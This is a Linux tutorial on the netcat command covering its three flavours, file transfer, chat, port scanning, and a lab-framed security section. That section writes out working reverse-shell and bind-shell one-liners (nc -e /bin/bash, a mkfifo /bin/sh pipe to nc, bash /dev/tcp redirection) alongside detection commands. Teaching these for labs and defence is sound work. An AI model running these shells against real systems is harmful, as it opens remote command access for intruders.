netcat (nc) Command in Linux, with Examples
TL;DR: The nc command is the duct tape of the TCP/IP stack — a tool that reads and writes raw data across TCP and UDP sockets, making it the fastest way to test a service, move a file, or open a backchannel between two machines. This guide covers the three netcat flavors you'll actually meet on Linux, the syntax that works on each, banner grabbing, file transfer, port scanning, and the offensive side (reverse and bind shells) framed for labs and authorized targets only. You'll need a Linux box with nc installed and a second machine (or a VM) to test the listener examples.
The CTF box was up, and I had everything a tutorial told me to have — except a shell that worked. I was on a minimal server running upstream OpenBSD netcat, and nc -lvnp 4444, the listener every write-up swears by, died instantly with an error that made no sense at the time. The payload wasn't the problem. The netcat was.
That's the thing nobody warns you about: netcat isn't one program. It's three. And the commands that work on one flavor get refused or silently misbehave on another. Once you know which one you're holding, everything else in this guide clicks into place.
⚠ Ethical framing: everything in the offensive half of this guide is for your own lab, a CTF platform (check its rules before publishing write-ups), or systems you have written permission to test. Never point these commands at networks you don't own. Every technique here is also a defensive skill: the fastest way to spot an attacker's netcat listener is to know exactly what one looks like.
What netcat is, and why your distro ships three different ones
Netcat was written by Hobbit in 1995 as a networking "swiss army knife": open a socket, shovel stdin into it, and dump what comes back to stdout. That core idea is so simple it became a category, and over thirty years it split into three main incarnations on Linux:
| netcat-traditional (Hobbit 1.10) | netcat-openbsd | ncat (Nmap project) | |
|---|---|---|---|
| Where it ships | netcat-traditional (Debian-family), nc.traditional on Kali | netcat-openbsd (Debian/Ubuntu/Kali), netcat (Fedora), openbsd-netcat (Arch) | nmap / nmap-ncat packages |
| Listen syntax | nc -l -p PORT | nc -l PORT | ncat -l PORT |
-e (execute a command) | ✅ Yes | ❌ No | ✅ Yes (-e and -c) |
IPv6 (-6) | ❌ No | ✅ Yes | ✅ Yes |
| Keep listening after disconnect | ⚠ -k means TCP keepalive, not keep-open | ✅ -k (requires -l) | ✅ -k / --keep-open |
| Bonus features | Minimal, ancient, stable | -N, -U, proxies (-x) | --ssl, --chat, --allow/--deny, --broker |
Two facts in that table cause most of the pain you'll read about online. First, upstream OpenBSD netcat refuses to combine -l with -p — the man page states that the listen destination can be given as a positional port or with -s/-p respectively, but never together with -x or -z. On Debian-family builds (Debian, Ubuntu, Kali) this restriction was relaxed in 2017, so nc -l -p PORT works there too — but on upstream OpenBSD, Arch's openbsd-netcat, Fedora, and macOS you must use nc -l PORT (or the write-up staple nc -lvnp fails). Second, netcat-openbsd has no -e option at all. Its -e flag is a TLS certificate-name option, not command execution — a trap we'll defuse properly in the shells section.
Which netcat do you actually have?
Stop guessing. Five seconds with the right checks tells you exactly what's under nc on your box:
# What does nc answer? OpenBSD prints its usage; traditional starts with [v1.10-...]
nc -h
# Where does nc really point? (.openbsd vs .traditional on Debian-family)
realpath "$(command -v nc)"
# Debian-family package details
apt show netcat-openbsd 2>/dev/null | head -4
# Nmap's ncat, if installed
ncat --version
On Kali, the default nc is nc.traditional (netcat-traditional; Kali pins ncat's alternatives priority to zero, so it never wins the nc name), while nc.openbsd and ncat sit alongside it as separate binaries. On Ubuntu, netcat-openbsd has been the default since 2010 (Lucid). Debian 12 dropped the old transitional netcat metapackage, so there you must pick a flavor explicitly.
Installing netcat (and pv) on your distro
Pick your family. If you're a CTF player, grab ncat too — its --ssl and --chat modes are genuinely useful in the lab:
# Debian / Ubuntu / Kali
sudo apt update
sudo apt install -y netcat-openbsd
# The classic Hobbit flavor (has -e), if you want it for lab scripts:
sudo apt install -y netcat-traditional
# Nmap's ncat, if you want the Swiss-army version:
sudo apt install -y nmap
# pv (pipe viewer) gives progress bars for file transfer
sudo apt install -y pv
# Fedora (OpenBSD flavor — the package is literally named "netcat")
sudo dnf install -y netcat
# RHEL / CentOS / Rocky / Alma (ncat is the standard there)
sudo dnf install -y nmap-ncat
# Arch (the package is called openbsd-netcat)
sudo pacman -S --noconfirm openbsd-netcat
Core syntax: connect mode and listen mode
Netcat has exactly two jobs. Connect mode reaches out to a service; listen mode waits for an inbound connection. Everything else — file transfer, chat, shells — is just stdin/stdout plumbing around those two:
# CONNECT MODE — reach out to a service
nc [options] host port
# LISTEN MODE — wait for an inbound connection (OpenBSD nc / ncat)
nc -l port
# Traditional nc needs the -p port flag when listening
nc -l -p port
That's the whole syntax. The host can be a hostname, an IPv4 address, or (with -6) an IPv6 address; port can be a single number or a range like 22-80. Everything from here on is combining these two modes with redirection and pipes.
Banner grabbing and talking to a web server by hand
The fastest sanity check a sysadmin can run: does the port answer, and what does it say? Verbose mode prints the connection result, and many services send a banner the instant you connect:
# Verbose connect: shows whether it succeeded and where
nc -v example.com 80
# Grab the SSH banner — the server speaks first, so a 3s timeout
# (-w 3) captures it without hanging the terminal
nc -w 3 -v 192.168.1.10 22
Swap 192.168.1.10 for one of your own lab hosts. A modern SSH server will answer with something like SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5 — that banner is your first fingerprinting datapoint (and your first warning sign when it's missing or unusual).
HTTP servers don't greet you — they answer requests. So pipe one in. This is exactly how the OpenBSD man page does it, and it works unchanged on every flavor:
# Talk to a web server by hand — HTTP/1.0 closes the connection
# after the response, so nc exits cleanly
printf 'GET / HTTP/1.0\r\n\r\n' | nc -w 5 example.com 80
# HEAD instead of GET — headers only, keeps the output short
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc -w 5 example.com 80
The \r\n\r\n is non-negotiable — HTTP ends its headers with a blank line of CRLF pairs, and a bare \n will get you silence or a 400 Bad Request from picky servers. Notice what this teaches you: if you can do this by hand, you understand exactly what curl does for you — and what an HTTP request looks like on the wire. That mental model pays off constantly in web pentesting.
Building listeners that bind where you want
Listen mode is where the flavors diverge hardest, so get this right once and you'll stop chasing phantom errors:
# OpenBSD nc / ncat: the port is a positional argument
nc -l 4444
# Traditional nc: -p is required — without it, nc binds a RANDOM port
# and you'll wonder why nothing connects
nc -l -p 4444
By default the listener binds to every interface on the box — fine in a lab, sloppy on a real network. Bind to a specific address instead (on OpenBSD nc and ncat, the address is a positional argument; on traditional nc you'd add -s):
# Bind only to loopback — the safe default for local testing
nc -l 127.0.0.1 4444
# Bind to one LAN address only
nc -l 192.168.1.5 4444
# Keep listening after each connection closes (OpenBSD: -kl; ncat: -k --keep-open)
nc -kl 4444
The -k flag matters for anything multi-session, like a quick chat relay or a diagnostic server: without it, nc serves one connection and exits. Verify what's actually listening from a second terminal with ss -tlnp | grep 4444 — confirming the bind is a habit that has saved me more than once.
File transfer over plain sockets
No SCP, no rsync daemon, no SSH at all — if you can reach a port, you can move a file. The pattern: the receiver listens and redirects stdout to a file; the sender connects and feeds the file into stdin.
# RECEIVER (192.168.1.20) — listen and write to disk
nc -l 1234 > backup.tar.gz
# SENDER — connect and stream the file in
# The -N (shutdown socket after EOF) is what lets the receiver exit cleanly
nc -N 192.168.1.20 1234 < backup.tar.gz
Why -N? This is the classic hang. When the sender's stdin hits EOF, OpenBSD nc keeps the socket half-open waiting for a reply — so the receiver sits there forever, file complete but connection never closing. -N shuts the socket down on EOF, the receiver sees it and exits. On traditional nc use -q 1 instead; ncat closes on EOF by default.
The direction is a choice, not a law. If only one box can accept inbound connections (say, it's behind NAT), flip it: the sender listens and pushes the file out, and the receiver connects:
# SENDER (listens, feeds the file — -N again for a clean close):
nc -l -N 1234 < backup.tar.gz
# RECEIVER (connects, writes to disk):
nc 192.168.1.20 1234 > received.tar.gz
Directories, compression, and progress bars
Single files are easy; whole directories need tar in the pipe. Compress as you stream — you lose nothing but latency, and you win on bandwidth:
# RECEIVER (listens, unpacks as it goes)
nc -l 1234 | tar xzf -
# SENDER (connects, archives on the fly)
tar czf - /var/www/html | nc -N 192.168.1.20 1234
# Add pv for a progress bar — you'll thank me on a 40GB backup
tar czf - /var/www/html | pv | nc -N 192.168.1.20 1234
This is the whole trick behind netcat-as-rsync: tar czf - writes the compressed archive to stdout (that's what the trailing - means), the pipe hands it to nc, nc puts it on the wire. Plain, fast, zero daemons. Encrypt it by adding | openssl enc -aes-256-cbc -salt to the pipe if it crosses untrusted networks — netcat itself has no encryption, and you should never forget that.
The chat backchannel
Two people, two netcats, one running conversation. The listener binds, the client connects, and — because stdin flows to the socket and socket data flows to stdout on both ends — anything either side types appears on the other's screen:
# Machine A (192.168.1.5): listen first
nc -l 4444
# Machine B: connect, then just type. Ctrl+C ends the session.
nc 192.168.1.5 4444
Crude but effective — I've debugged a broken network between two VMs exactly this way when SSH was the thing that was broken. For multi-user chat with sender IDs, ncat's --chat mode is the grown-up version: it brokers connections and prefixes each message with a client ID, escaping control characters so nobody's terminal gets owned by a stray escape sequence.
Port scanning with nc — and the honest caveat
The -z flag puts nc in "zero-I/O" mode: it attempts the connection, reports success or failure, and sends no data. Combined with -v for output and -w 1 so a dropped (filtered) port doesn't hang the whole scan:
# TCP connect scan of ports 22-80 with a 1-second timeout per port
nc -z -v -w 1 192.168.1.10 22-80
# Numeric-only, randomized port order, wider range
nc -z -n -v -w 1 -r 192.168.1.10 1-1024
Now the honest part, because I've been the person who "scanned" with nc and called it recon: this is a TCP connect scan, not a SYN scan. It completes the full three-way handshake on every open port — which means the target's logs show a finished connection for each port, IDS/IPS will flag the burst, and without -w a single filtered port stalls the entire run. It's also slow: one port at a time, no parallelism. Use it to answer "is this one port open?" in a script. Use nmap -sS when you actually want to scan a host. Nmap does stealth, timing, service detection, and scripted enumeration; nc does a quick sanity check. Knowing the difference is what separates a scan from a noise generator.
The security side: reverse shells, bind shells, and detecting them
This is where netcat earns its reputation — and where the flavor differences bite hardest. Frame first: every command below is a lab exercise or a defensive demo. Run it against your own VMs, your CTF boxes, and nothing else.
The reverse shell, honestly framed
A reverse shell makes the target connect out to you — which is why it's the workhorse: outbound connections usually sail past firewalls. Step one is your listener, and here's where my opening failure gets its payoff. On upstream OpenBSD netcat (Arch, Fedora, macOS), nc -lvnp 4444 fails because -l and -p are mutually exclusive. (On Kali the default nc.traditional accepts it happily — and Kali's netcat-openbsd has accepted -l -p since 2017 — so write-ups that use -lvnp assume a flavor you may not be holding.) The portable listener:
# Lab controller (Kali, netcat-openbsd): listen, verbose, no DNS
nc -lvn 4444
# On ncat the same listener is: ncat -lvnp 4444
On the target, -e is the classic one-liner — but only if the target's netcat has it. netcat-traditional and ncat do; netcat-openbsd does not, and never has:
# Target box with netcat-traditional: connects back with /bin/bash
nc 192.168.1.10 4444 -e /bin/bash
# Target box with ncat: -e needs a full path; -c runs via /bin/sh
ncat 192.168.1.10 4444 -e /bin/bash
No -e? No problem — pipe the shell through a FIFO. This is the documented workaround for OpenBSD nc, and it's the one-liner you'll see in every serious cheat sheet:
# OpenBSD nc has no -e. The FIFO trick works on ANY flavor:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.10 4444 > /tmp/f
Read it as three pipes: the FIFO /tmp/f feeds commands into /bin/sh -i, the shell's output and errors flow into nc, and whatever comes back from your listener goes into the FIFO — closing the loop. The rm -f first is deliberate: a stale FIFO from a previous run breaks the chain.
Bind shells
Sometimes the target can't reach you, so flip it: the target listens, and you connect to it. Same FIFO pattern, one flag changed:
# Target: bind a shell to 127.0.0.1:4444 (works on plain OpenBSD nc)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 4444 > /tmp/f
# Attacker: connect to it
nc 192.168.1.50 4444
Bind shells are the easier target for defenders: a listening shell port is visible to ss and trivially firewalled, and egress-filtered networks make reverse shells the only option anyway. If your target has no netcat at all, bash itself can phone home without any tool — /dev/tcp is a bash builtin:
# No netcat on the target? Bash does it natively:
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
Detecting netcat shells on your own box
Defenders, this is your half of the deal. Every shell above has a signature — a listening socket on a weird port, or an established connection to a foreign address from a process that shouldn't be talking to the network:
# Every listener on the box — look for unexpected ports and processes
ss -tlnp
# Established connections — anything pointing at a foreign address?
ss -tnp
# The classic socket-level view
sudo lsof -i -P -n | grep LISTEN
An interactive bash sitting in a FIFO pipe looks, from the process table, like /bin/sh -i with stdin/stdout pointing at a pipe instead of a TTY — ps auxf makes that stand out once you know what you're looking at. And remember: all of these shells are plaintext. On a real network, a packet capture on your own switch is the definitive detection layer.
Troubleshooting: refused vs. timeout and other gotchas
Here are the failure modes I've hit, in order of how much lab time they've cost me:
- "Connection refused" vs. hang (timeout) — refused means a host answered and sent a TCP RST: the port is closed or nothing is listening. A hang means packets are being dropped — a firewall DROP rule, an unreachable host, or a filtered network. Refused is information; a timeout is a wall. When a scan "hangs forever," the
-wflag is missing. -wis for connect mode only — the OpenBSD man page is explicit: any timeout with-lis ignored; a listener waits for a connection indefinitely. Put your timeouts on the connecting side.-kmeans different things — on netcat-openbsd and ncat it's "keep listening for the next connection" (and requires-l). On traditional nc,-ksets the TCP keepalive socket option — it does not keep the listener alive. The same two letters, two completely different jobs.- IPv6 surprises —
nc example.com 80resolves AAAA records too, and if your box has no IPv6 route the connect just stalls. Force the family with-6or-4to make the behavior deterministic, and listen on IPv6 withnc -6 -l 4444. - Source address with
-s— on a multi-homed box,nc -s 192.168.1.50 example.com 80picks which interface the connection leaves from (useful for routing, VPNs, and testing firewall rules). Note that on OpenBSD nc,-scannot be combined with-l— bind the address positionally instead (nc -l 192.168.1.50 4444). nc -lvnpfails on upstream netcat-openbsd —-land-pare mutually exclusive there. On Debian-family builds (Ubuntu, Kali) they combine fine since 2017, but for portability usenc -lvn 4444, orncat -lvnp 4444if you're holding ncat.
# Hard connect timeout for scripts
nc -w 3 example.com 80
# Keep listening for multiple connections (OpenBSD: -kl; ncat: -k --keep-open)
nc -kl 4444
# Force the IP family — avoids IPv6 DNS surprises
nc -6 example.com 443
nc -4 example.com 443
# Bind a source address on a multi-homed host
nc -s 192.168.1.50 example.com 80
Takeaways
- Know your flavor before you type a flag — netcat-openbsd refuses
-l -ptogether and has no-e; traditional nc demands-pwhen listening; ncat is the feature-complete Swiss army knife. Five seconds withnc -handrealpath "$(command -v nc)"settles it. -N,-q, or your file transfer hangs — OpenBSD nc keeps the socket half-open after stdin EOF, so close it cleanly on the sender (-Non OpenBSD,-q 1on traditional) or the receiver waits forever.-zis a connect scan, not a SYN scan — fine for one-port checks in scripts; slow, loud, and handshake-completing for anything else. Reach fornmap -sSwhen the target list is longer than one.- No
-e? Pipe it —cat /tmp/f | /bin/sh -i 2>&1 | nc ... > /tmp/fgives you a shell with any flavor, and the same pattern works for bind shells with-l. And on the defense side, that shell is visible:ss -tlnpnever lies.
Anchor Insight
Netcat reduces every network conversation to stdin and stdout — so the real skill is knowing which flavor you're holding and what it will (and won't) let you do. Once you think of a socket as a file, file transfer, chat, and shells all become the same pipe-plumbing exercise, and the flavor differences stop being traps and become just another flag table. Get that mental model right, and nc goes from a command you copy-paste to a tool you reason with.
Related Articles (Internal Linking)
- SSH Hardening for Exposed Services: The Mobile Lab Edition — what to run over those open ports once you've confirmed them with nc
- DNS Nameservers & Resolution: A Practical Guide — the other layer that decides whether
nc host portfinds the right host at all - Coming up in the lab: a proper Nmap deep-dive (SYN scans, timing templates, and scripted enumeration) — the honest upgrade path when
nc -zisn't enough
